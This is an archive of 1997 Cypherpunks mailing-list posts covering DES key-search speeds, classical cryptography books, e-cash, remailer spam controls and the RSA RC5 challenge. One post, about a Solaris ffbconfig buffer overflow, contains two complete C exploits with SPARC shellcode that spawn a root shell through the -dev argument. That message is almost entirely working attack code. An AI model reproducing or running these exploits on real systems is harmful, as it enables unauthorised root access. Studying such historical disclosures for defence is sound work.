7.2*10^16 keys to search.  Assuming 10^9 keys/second (three times our
current speed, which may be attainable with a good DES implementation)
that's still a bit over two years; too long by a factor of 10 or so.

Soo....

How fast are current DES implementations?  People could try des.c from
the ssh distribution as a starting point.

How much more computing power could we bring online?

Do people have optimized DES for Alpha, UltraSparc, HP 8000 and all
the other nifty 64-bit architectures?

Does it make sense to use MMX or equivalent for DES?
-- 
Thomas Koenig, Thomas.Koenig@ciw.uni-karlsruhe.de, ig25@dkauni2.bitnet.
The joy of engineering is to find a straight line on a double
logarithmic diagram.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian D Williams <talon57@well.com>
Date: Tue, 11 Feb 1997 06:44:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: [CRYPTO] CLASSICAL CRYPTOGRAPHTY COURSE
Message-ID: <199702111444.GAA20467@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




                    FOR IMMEDIATE RELEASE

                       6 February 1997


Aegean Park Press proudly announces publication of CLASSICAL
CRYPTOGRAPHY COURSE - VOLUME II by Randall K. Nichols
[LANAKI]. [ISBN: 0-89412-264-9, 1997, 464 pages, $US 40.80 ]
 
Volume II presents Lectures 11 - 22 (of a total of
twenty five) from his successful course in Classical
Cryptography taught in 1995 and 1996 to 391 students via
the Internet and an additional 65 via regular mail.

Volume II covers polyalphabetic substitutions ciphers in
the Vigenere family (Viggy, Variant, Beaufort, Porta,
Gronsfeld, Portax, Gromark), decimation, principles of
symmetry, isologs and superimposition solution
techniques.  Volume II describes the difficult aperiodic
cipher systems (Interrupted key, Autoclave, Progressive,
Running Key used in cipher machines) and their analysis
by isomorphs, and repetitions. Cryptarithm solutions for
extended bases are presented. The theory of coincidences
and statistical attacks (Kappa, Chi, Phi) derived from
this important theory are detailed.  Transposition
theory and a variety of transposition ciphers are solved
(Columnar, Amsco, Myszkowski, Cadenus, Grille, Swagman,
Auto-Transposition).  Volume II has two chapters on the
difficult cipher systems invented by the famous French
cryptographer Delastelle: Foursquare, Bifid and Trifid.
Volume II presents a detailed chapter on passwords, law
and data protection.  Volume II ends with a historical
look at codes, commercial code systems, and famous
cipher machines.  Volume II is a potpourri of advanced
topics in classical cryptography.

The Cryptographic Resources and References section has
been expanded to cover all phases of involvement with
cryptography: cryptanalysis, history, legal, social,
classical, modern, NSA, mathematical techniques,
recreational, intelligence, tactical, strategic,
National Defense, INFOSEC: offensive and defensive,
hardware, software, standards, public key cryptography,
web sources, and applicable Senate and House bills.
Readers are encouraged to expand their knowledge in the
many directions possible to them through this section.
 
For orders or Information Contact: Aegean Park Press, P.O.
Box 2837, Laguna Hills, Ca. 92654. Telephone: 1-800-736-3587;
Fax: 1-714-586-8269.  Group discounts available.
 







REVIEW OF CLASSICAL CRYPTOGRAPHY COURSE, VOLUME I
By the Honorable David Kennedy, Director of Research,
NCSA.


     Classical Cryptography Course, Volume I.  By
Randall K. Nichols; published by Aegean Park Press,
(714) 586-8811 (phone) (714) 586-8269 (fax); (800) 736
- 3587; 301 pages (with index); $34.80 (American
Cryptogram Association members receive a 20% discount
through ACA or NCSA Members receive a 10% discount if
purchased from the NCSA Bookstore)

     In Classical Cryptography Course, Volume I, author
Randall K. Nichols has created a benchmark for serious
students of the science of cryptography.  This is a
text.  It is for learning, and with it one cannot help
but learn about the foundations of the science.  An
outgrowth of Nichols' admitted "labor of love" in the
online Cryptography Courses he teaches over the
Internet, Volume I creates the foundation for
understanding the development of the science.

     The ten chapters of this volume lead the student
through simple substitutions, substitutions with
variants, multiliteral substitutions, xenocrypts
(foreign language substitutions), cryptarithms, the
Enigma machine (separate Enigma95 program disk available
direct from the author) and finally to polyalphabetic
substitutions.  Seven chapters conclude with problems;
solutions and discussions are provided in an appendix.
The text is indexed with twenty-four pages of references
for further study.

     I found Nichols' sense of the history of
cryptography particularly noteworthy.  The volume is
liberally salted with citations from history with
applications of the methods developed in the text.  From
Revolutionary France through the American Civil War, the
Tammany Hall scandal, Revolutionary Soviet ciphers and
Japanese successes against Chinese codes prior to Pearl
Harbor, the text provides touchstones for student to
understand and relate to.

     Phil Zimmermann observed in the documentation to
his Pretty Good Privacy Program to "Beware of Snake
Oil." Among his arguments is this anecdote:

     I remember a conversation with Brian Snow, a highly
placed senior cryptographer with the NSA.  He said he
would never trust an encryption algorithm designed by
someone who had not "earned their bones" by first
spending a lot of time cracking codes.

     Where Schneier's Applied Cryptography is a crash
course in some encryption protocols and algorithms in
use today, Nichols' text begins the teaching of Snake
Oil detection and prevention.
Learning the fundamentals, developed throughout the
text, brings a richer understanding of the science, it's
history and insight into it's possibilities and some
vulnerabilities lurking for the unwary.

     Nichols plans for release Volume II in the series
with advanced material on from the online course which
includes statistical attacks and transposition in
February, 1997.

Reviewer:  Dave Kennedy, CISSP, is Director of Research
for the National Computer Security Association,
Carlisle, PA.  He is a retired Army military police
officer and member of NCSA, ASIS, ISSA and the Computer
Security Institute.


reposted from cryptography@c2.org

Brian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter M Allan <peter.allan@aeat.co.uk>
Date: Tue, 11 Feb 1997 06:42:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Codebreakers delivered OK
Message-ID: <199702111442.GAA20332@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Gary,

Thanks for the book, which arrived safely (last week,
when I was on leave and tiling my bathroom).


Cypherpunks,

In mid-December I asked on this list whether people
would recommend buying books from Gary Rasmussen.
    Message-Id: <9612131954.AA28856@clare.risley.aeat.co.uk>
    Subject: Would you send money to Gary Rasmussen ?
I got several replies for, and none against.  Thanks
to those who replied.

I am now pleased to add my data point.  He has sent my copy
of Kahn's Codebreakers.  The delay from mid-December was almost
entirely caused by banking issues.  Money transfers are not as fast
or cheap as I think they should be in 1997.  Gary tells me he may in
future get equipped to take credit cards.

His catalogue contains stuff sure to interest anybody with plenty of time.
Here is his comment:
 > NOTE: An additional benefit of ACA membership is eligibility for discounts
 > on a selection of new (unused) books on the history and practice of 
 > traditional ciphers, codes, and signals intelligence from Classical Crypto
 > Books. For a free catalog, send email to RagyR@aol.com.



 -- Peter Allan    peter.allan@aeat.co.uk





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 11 Feb 1997 06:44:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Interesting ressource
Message-ID: <199702111444.GAA20463@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Sender: leroux@mail.vdl2.ca
Date: Mon, 10 Feb 1997 13:05:08 -0500
To: dcsb@ai.mit.edu
From: Philippe Le Roux <leroux@vdl2.ca>
Subject: Interesting ressource
Mime-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Philippe Le Roux <leroux@vdl2.ca>

The IEEE published a special issue of Spectrum
(http://www.spectrum.ieee.org/contents/) about digital commerce and ecash.

This is the index :

Electronic money: toward a virtual wallet
By Tekla S. Perry
Hard currency is disappearing from many everyday transactions along the
road to electronic money.

Future of electronic money: a regulator's perspective
By Edward W. Kelley Jr.
The way electronics will fit into the evolution of money--from acting as a
niche player
to wreaking major changes in payment systems--has yet to be determined.

Credits and debits on the Internet
By Marvin A. Sirbu
CyberCash, First Virtual, GC Tech, NetBill--these and other systems have
been developed to enable electronic transfers of payments across the
Internet.

'Minting' electronic cash
By David Chaum & Stefan Brands
Electronic cash can offer transaction privacy to honest users, affords
convenient storage and transportation, and protects against loss.

Traceable e-cash
By Peter S. Gemmell
One method of making electronic cash transactions private for honest users but
traceable by law enforcement agencies involves the use of trustees.

Crime and prevention: a Treasury viewpoint
By Stanley E. Morris
The speed and anonymity of electronic payment systems make them attractive
to those pursuing illicit activities.

Locking the e-safe
By Robert W. Baldwin & C. Victor Chang
Existing encryption-based security mechanisms can be combined to minimize a
wide range of threats to electronic commerce.

In your pocket: smartcards
By Carol Hovenga Fancher
A wallet full of cash, credit, and identification cards may, in the future,
be replaced
with two or three smartcards, each containing an IC, as a recent flurry of
market
tests and smartcard rollouts demonstrates.

Banking in cyberspace: an investment in itself
By Michael C. McChesney
While home banking has been around for some time, Internet banking is a new
concept, and has a number of advantages.

Technology takes to securities trading
By Steven M. H. Wallman
>From stock offerings conducted entirely over the Internet, to the
automation of traditional exchanges, technology is changing the way stock
markets work.

Nasdaq's technology floor: its president takes stock
By Alfred R. Berkeley III
This screen-based stock market has been particularly sensitive to the
effects of new
computer and communications capabilities.

The economics of e-cash
By Mike Ter Maat
Electronic cash can create profits for its issuers, and launch competition
for today's
government-controlled currency systems.

Money and the Internet: a strange new relationship
By Howard Anderson
This visionary sees the e-money revolution as inevitable, with "e-mail for
money"
becoming as ubiquitous in the future as e-mail messages are already today.


*PLR!

------------------------------------------------------------------------------
Philippe Le Roux
Associe de V(DL)2 Inc.
Membre du SCIP (Society of Competitive Intelligence Professionals)
Co-Auteur d'Internet Secrets (IDG - 95)
Chroniqueur a Benefice.Net

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i
Comment: Requires PGP version 2.6 or later.

mQBNAjLyVpEAAAECAKiVNKY2l2moieX3JsvrXKSvHqwF0Hq24cKh1p1VDaFEwWPs
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 11 Feb 1997 06:43:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Nothing Can Stop the Net
Message-ID: <199702111443.GAA20401@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mule Power Used to Install Fiber-Optic Cable 

February 10, 1997
11.54 a.m. (1654 GMT)

SPRINGFIELD, Mo. (AP) -- No manner of modern mechanical technology could
get over or around the rugged terrain confronting electricians trying to install
fiber optic cable through the Ozarks. 

So they shifted their sights from high-tech to low-tech and hired Festus, Jake,
Red and I.B. -- four Missouri mules -- to string 40 miles of cable through
southwestern Missouri. 

"Today's thought is `fast and done quick and make the big money,"' said mule
skinner James King, who works the mules for B&L Electrical Contractors. "A
lot of people have forgot the fastest way to get through the country is on a
mule or a horse." 

Even through city traffic, the mules are getting the job done. 

The idea first came about when Empire District Electric Co. was looking for
contractors to install fiber optic cable. The cable was to run along the path of a
power line strung in 1912. More than 80 years later, it was deemed
inaccessible to vehicles in most places because of steep hills, trees or other
impediments, such as chain-link fences. 

B&L submitted a bid based on doing the work with mules. The estimate was
tricky since the company had never used mules. And if they couldn't do the
job, a backup plan would have cost much more. 

"This is extremely rugged terrain. You couldn't get any motorized vehicles in
there," said Clint Lam, manager of B&L. "You could build a road through
there, but cost-wise, it would be so expensive." 

Empire didn't know the estimate was based on mule power. But when they
learned of the idea, it seemed logical, said Darrell Wilson, Empire's
telecommunications foreman. He told colleagues at a recent training seminar
about the mules' success. 

"Everybody thought I was joking," Wilson said. "They thought I meant an
ATV, some mechanical 4-wheel drive. They didn't really think it was a
four-legged animal. They were a little surprised when I said, `No, I mean a real
mule."' 

The mule skinners hook one end of the cable to an overhead pole and knot the
other end to a mule's saddle. Then the animal pulls. 

All-terrain vehicles are prone to tipping on uneven surfaces, while mules are
sure-footed and can jump creeks or chain-link fences. In fact, they worked so
well in the rough stuff, they were kept on even when the line reached
Springfield, the state's third-largest metropolitan area. 

"I think we're going to try to vote in a new position in our contract for mule
skinner," crew foreman John Agee joked. 

Dr. Melvin Bradley, of Columbia, a retired University of Missouri professor
and an expert on mules, was not surprised to learn of the mules' success. 

"The mule will go places, over banks and rough terrain and stand up and be
able to pull that cable through where horses will have trouble," he said. 

Festus, at 1,250 pounds the largest of the crew, drew curious glances from
motorists as he and skinner King recently hauled cable through exhaust-stained
snowbanks near a busy city intersection. Festus wasn't fazed, though he was a
bit trailer-sick from the 30-mile commute from Galena. 

"This is his first day on the job," the hard-hatted King said from the saddle
where he wraps the rope or cable being pulled by the mule. Festus can tow up
to 14,000 feet of cable, a load weighing more than 1 ton. 

Some people who saw the mules at work didn't know exactly what they were,
which King found remarkable. After all, mules were made Missouri's state
animal in 1995. 

"`Look, ma -- it's a horse!"' King said, mimicking what he's heard from
children passing the work crew. "It's a good old Missouri mule." 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Rubin <phr@netcom.com>
Date: Tue, 11 Feb 1997 06:41:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: sci.crypt archive?
Message-ID: <199702111441.GAA20219@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Is anyone on cypherpunks archiving sci.crypt?  I'd be interested
in getting hold of some articles from some years back... thanks





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Three Blind Mice <3bmice@nym.alias.net>
Date: Tue, 11 Feb 1997 06:42:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New X-Ray Imager
Message-ID: <199702111442.GAA20283@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 4 Feb 1997, Igor Chudov @ home wrote:

> Let's remember though that perception of security applies not
> only to passengers, but also to potential terrorists. If they *think*
> that they would not be able to bring a bomb easily, they would be less
> inclined to do so.

Do you seriously believe that a terrorist who wishes to take an explosive
device on board a plane fears the security of an airport? It's not
possible to put such a thought into anyone but a prole; we are not proles,
and they are not proles. The real effect and intent is obvious.

--3bmice






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 11 Feb 1997 06:43:22 -0800 (PST)
To: Ed Falk <Ed.Falk@Eng.Sun.COM>
Subject: Re: lead remailer is shut down
Message-ID: <199702111443.GAA20399@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:58 AM 2/7/97 -0800, Ed Falk wrote:
>Can't remailers be written with basic spam safeguards?  I.e. no mass
>crossposts, limited # of posts by each individual client per day, etc.?

Most remailers have some basic spam safeguards, typically
how many messages per day or per session or whatever.
They also implement blocking on specific source or destinations,
which makes it easier to stop known spam sources and reduce
hassle for people who don't want to be spammed.

Limited number of posts per source or per destination are less useful,
since people use chained remailers - most messages will have a
remailer as either the source, destination, or both,
so it's fairly common to have lots of messages from one source.

Mass crossposts aren't all that bad; if you're running a decent
newsreader you'll only see that kind of spam once.  The bad ones are
multiple identical or nearly-identical messages posted to one or
a few newsgroups each, which are harder to detect and much more 
annoying to the reader.  On the other hand, NoCeMs can catch them,
if anybody's sending and using them.

I don't know how many people have the capability to block on Subject:
or message content; I remember getting bouncemails for things that
had variants on M AK E  M O N E Y  F A S T in them, so there are or were
other remailers that block those.

It's hard to find a good definition of spam, and hard to implement it
without keeping lots of extra records you'd probably rather not keep,
and spammers who are willing to do work can find out your limits,
especially if they're in a policy document somewhere, and evade them,
sending as much through each remailer as fits under the radar.
Fortunately, most spammers don't bother.

Back when I was running a remailer, it was a modified Ghio2 version;
I'd fixed some bugs in it, and took the spam detector behavior from
highly rude (shutting itself down quietly) to mildly rude (shutting
itself down noisily); the basic model was to stop entirely under
big spam attacks and let a human fix it up, rather than trying to resolve
them subtlely, which is more appropriate for small spamming.
The advantage of this approach is that you don't have mysterious
message losses; it's all or nothing.  (Well, you still get some 
mysterious losses, but mostly from bugs or interactions with
other types of remailers.)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 11 Feb 1997 06:43:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Teledesic Looks At SS-18's
Message-ID: <199702111443.GAA20402@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: investor@LunaCity.com
To: "Space Investors Mailing List" <space-investors@LunaCity.com>
From: Michael_Wallis@sec.sel.sony.com
Reply-To: "Space Investors Mailing List" <space-investors@LunaCity.com>
Date: Mon, 10 Feb 1997 11:59:44 -0800
Organization: LunaCity BBS - (Clan Zen Relay Network) Mountain View, CA
Subject: Teledesic Looks At SS-18's
X-Mailserver: Waffle File Server (WFS), Release 3.2.ag
X-Article: 285

Teledesic Might Launch With Converted SS-18s

Teledesic Corp. is talking with a newly formed Russian-Ukrainian
group about launching up to 204 Teledesic satellites into low Earth
orbit aboard converted SS-18 missiles.

The Dnepr rocket is backed by the Russian and Ukrainian governments.
Their space agencies are partners in a joint-venture company to sell
commercial launch services. Askond of Moscow and Ukraine's Yuzhnoye
State Design Bureau are marketing the Dnepr. Teledesic, a U.S.
telecommunications company, plans to place about 900 satellites in
space.

        Michael

-------------------------------------------------------------------------
Michael Wallis, Computer Consultant     Work: mwallis@sec.sel.sony.com
http: //www.wallis.com/                 Home: mwallis@wallis.com

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cristian SCHIPOR <skipo@sundy.cs.pub.ro>
Date: Tue, 11 Feb 1997 06:43:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Security hole in Sloaris 2.X ffbconfig + exploit
Message-ID: <199702111443.GAA20437@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Mon Feb 10 15:58 EET 1997 Romania  

"Buffer Overflow" rules.

I have found a buffer overflow hole in ffbconfig (Solaris2.X). That allow  you
to gain root access on your machine. I used an exploit written by Jeremy Elson
for gethostbyname() buffer overflow hole (I modified some values to make this 
work).   

I dont now yet what in ffbconfig is wrong but Im still diging. So more 
detailes later.

Here's the exploit for Solaris 2.X:


---------------------------------- first  ------------------------------------- 
/*
This works on Solaris 2.5 wiz /usr/sbin/ffbconfig
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      128
#define EXTRA           256
#define STACK_OFFSET    128
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),so;

  long_p = (u_long *) buf;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;

  targ_addr = get_sp() - STACK_OFFSET;
  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);

  execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0);
  perror("execl failed");
}

------------------------ end of "ffbcexp25.c"  --------------------------------

-------------------------------- second --------------------------------------

/*
This works on Solaris 2.4 wiz /usr/sbin/ffbconfig from a Solaris 2.5
*/



#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      128
#define EXTRA           256
#define STACK_OFFSET    128
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;


u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),so;

  long_p = (u_long *) buf;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;
  targ_addr = get_sp() - STACK_OFFSET;
  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);

  execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0);
  perror("execl failed");
}

------------------------------ end of ffbcexp24.c -----------------------------

Cristian Schipor - Computer Science Faculty  - Romania -  Bucharest 
Email: skipo@math.pub.ro or skipo@ns.ima.ro
Phone: (401) 410.60.88


PS: "special for STFP"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@replay.com>
Date: Tue, 11 Feb 1997 06:44:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702111444.GAA20479@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[Excerpts from Winn Schwartau's  2/9 "InfoWar Digest," with responses to
Paul Strassmann's diatribe on the RSADS Secret-Key Challenge.  Burt
Kaliski, Tim May, Padgett Peterson -- among others -- toss in their two
bits. Longish.

[FYI: RSADS still has 12 open Challenges pending, offering cash rewards for
anyone who can decrypt 56-bit DES -- or any of eleven _other_ RC5
cyphertext samples, encrypted with keys of varied lengths, ranging from
48-bit through 128-bits. Details somewhere on the RSA site:
<http://www.rsa.com> ]

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From: Burt Kaliski <burt@RSA.COM>
To: "'infowar@infowar.com'" <infowar@infowar.com>
Subject: Further to Goldberg's Cracking Accomplishments
Date: Wed, 5 Feb 1997 13:58:53 -0800

Paul A. Strassmann <paul@strassmann.com> quoted a UC Berkeley press
release on Ian Goldberg's successful effort to discover the unknown 40-bit
key to an RC5 ciphertext offered in the RSA Data Security Secret-Key
Challenge, and raised a number of justifiable concerns about whether a
contest like the Challenge is an appropriate measure of the security of a
40-bit encryption algorithm in an InfoWar environment.

>>As I suspected (see earlier private comment), the
>>highly promoted RSA cracking contest offered
>>a number of clues that ordinarly would not be
>>volunteered by info-terrorists or info-criminals to
>>IW Defense teams.
>>
>>These clues made the cracking significantly easier,
>>because it made it possible to eliminate an enormous
>>range of possible searches.

Mr. Strassmann is a well known scholar of the InfoWar threat environment. I
am not, so I cannot address those specific concerns directly -- but I would
like to offer some rationale as to why the Challenge was structured as it
was.

The RSA Data Security Secret-Key Challenge
<http://www.rsa.com/rsalabs/97challenge/>, started last week, is an open
contest sponsored by RSA Laboratories that offers cash prizes for the
successful recovery of encryption keys for the DES and RC5 block ciphers.
Following the model of the RSA Factoring Challenge which for several years
has provided an assessment of the security of the RSA public-key algorithm
at various key sizes, the Secret-Key Challenge is intended to measure of
the security of secret-key algorithms at various key sizes.

As was the case with the Factoring Challenge, full details of the algorithms
and key sizes are provided. In addition, three plaintext-ciphertext pairs
(the ciphertext encrypted with the key of interest) are provided for each key
to be recovered.

Last week, the first of the keys in the Challenge, a 40-bit RC5 key, was
recovered by Ian Goldberg, a U.C. Berkeley graduate student. His effort
involved about 250 workstations and took 3.5 hours.  When I called Mr.
Goldberg to congratulate him in a teleconference during the RSA Data
Security Conference last week, he explained that he had discovered the
valid key with a search of about 350 billion keys, using a university
computer network to search at a rate of 100 billion keys/hour.

There are about 1 trillion 40-bit keys, for any algorithm. Mr.
Goldberg's search method involved simple brute-force; that is, the known
plaintext was encrypted with each key, and then compared to the available
ciphertext, looking for a match.

The overall effort was essentially what was expected for the 40-bit key size,
and as one would expect, the recovery of a key for the other RC5 key sizes
(from 48 bits to 128 bit), or for DES (56 bits), will involve much more work.
With the same "brute force" method employed by Mr. Goldberg last week, one
would expect a 256-fold increase in effort for each eight-bit increase in
key size. Special-purpose hardware may reduce the actual time, of course,
but the total number of possible keys to be tested will grow at that rate.

Mr. Strassman expressed concern as to whether the successful recovery of
a 40-bit key in 3.5 hours is a realistic measure of the strength of 40-bit
keys in an InfoWar environment, where full details of the algorithm and
plaintext blocks are not necessarily known. Again, not being acquainted
with the threat environment, I cannot address his concerns directly.
Nevertheless, RSA Laboratories does consider this type of contest to be
appropriate as a general measure of cryptographic strength -- for RSA's
products and those of any other vendor in the international crytographic
community.

The information provided to RSA Secret-Key Challenge contestants is no more
than is common and conventional for any open contest to test the strength
of a cryptographic algorithm. These conventions have evolved within the
international community of cryptographers seeking, on the basis of several
acknowledged principles, to develop common criteria for measuring the
relative strength or security of any particular cryptographic algorithm
with a given key size. Our rationale for the structure of the Challenge is
reflected in the following observations:

* Knowledge of the algorithm and key size (as per Kerchoffs' principle), as
well as the availability of known plaintext, are standard assumptions in
modern cryptanalysis. Since an opponent may obtain this information
eventually, it is preferable not to rely on its secrecy when assessing
cryptographic strength.

* The implementation of large-scale key-search engines is simplified under
the standard assumptions. This makes the contest accessible to a wider
variety of contributors, than if we required contributors to know, for
instance, a particular language, or language statistics, or other
characteristics of the plaintext. (Perhaps another challenge where we didn't
provide plaintext samples would be a worthwhile follow-up.)

* In practice -- even if the plaintext is not known -- significant
information about it is likely to be, such as character distributions (ASCII,
English), header values (e.g., BER tag and length), or padding.  The cost (in
time, effort, and computing resources) of a key search with even a small
amount of information of this kind is not significantly more than the cost
with known plaintext.

For instance, if it is known that the characters are represented in ASCII,
for instance, then one can decrypt available ciphertext with each key and
check that the recovered plaintext follows ASCII conventions (most
significant bit of each byte 0). The chance that an incorrect key produces
plaintext that passes the test is 1/2^k where k is the number of plaintext
bytes recovered. This means, for example, that of 2^40 keys tried, we expect
only 2^32 to pass the check for a single eight-byte block. The 2^32 keys must
then be tested further against other ciphertext blocks.

So instead of 2^40 encryptions -- as in the case when the plaintext is known
--  a cryptanalyst would need to search within 2^40+2^32+2^24+2^16+2^8+1
(roughly) keys, to find the correct key. But this represents an increase in
effort of less than 0.5 percent.

RSA Laboratories appreciates the InfoWar Community's interest in the RSA
Data Security Secret-Key Challenge, and Mr. Strassmann's comments in
particular. We look forward to further suggestions and critiques of our
efforts.

-- Burt Kaliski
>Chief Scientist
>RSA Laboratories
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Date: Mon, 3 Feb 1997 21:42:24 -0800
To: infowar@infowar.com
From: "Timothy C. May" <tcmay@got.net>
Subject: Re: Infowar Digest Volume 02: Number 04 - Crypto and Goldberg

I seldom read your newsletter carefully. I did tonight, and discovered two
of the items you included contain serious errors.

(Of course, as a strong advocate of "infowar" I suppose I'm pleased to see
your subscribers in the government misled by these errors...it makes our
job a little easier in the long run.)

>To: infowar@infowar.com
>From: Patrick Galley <Patrick.Galley@studi.epfl.ch
>Subject: New crypto attack
>Date: Mon, 27 Jan 1997 07:56:39 +0000
>
>Hello
>
>A friend of mine told me to look at the WWW site "John Douglass'
>CryptoMaverick Page").
>
>There I've found a paper from John Douglass which says that if RSA
>products are sold worldwide it because there is a backdoor inside. He
>said the same thing for DES and PGP.
.....
>If this guy is right. It would be better for is security that everybody
>knows the truth.
>
>I think it would be nice if you could look at this doc and talk about it
>in infowar.com.

I looked at the site and it's a mixture of conspiracy theory rantings and
misinformation.

As to the security of various RSA algorithms (and PGP, for example), the
security of many of these algorithms lies in the publishing of the source
code, with digital signatures on the released binaries to allow independent
verification.

If a real security hole is found in, say, PGP or Netscape, expect it to be
publicized loudly and quickly. (Indeed, certain flaws have been found, and
quickly publicized. The same Ian Goldberg involved in later message was one
of those who isolated a flaw in the random number generator used in an
earlier version of Netscape.)

The web site mentioned here doesn't cut it, and this message here is just
more "disinformation" (itself a part of infowar, so I guess the author is
practicing his skills).

>Date: Thu, 30 Jan 1997 20:10:36 -0500
>To: "Wright Larry" <Wright_Larry@bah.com>
>From: "Paul A. Strassmann" <paul@strassmann.com>
>Subject: Further to Goldberg's Cracking Accomplishments
>Gentlemen:
>
>As I suspected (see earlier private comment), the
>highly promoted RSA cracking contest offered
>a number of clues that ordinarly would not be
>volunteered by  info-terrorists or info-criminals to
>IW Defense teams.

Paul Strassmann is simply missing the central point of cracking the 40-bit
export-allowed version. It is not based on a known plaintext attack, but on
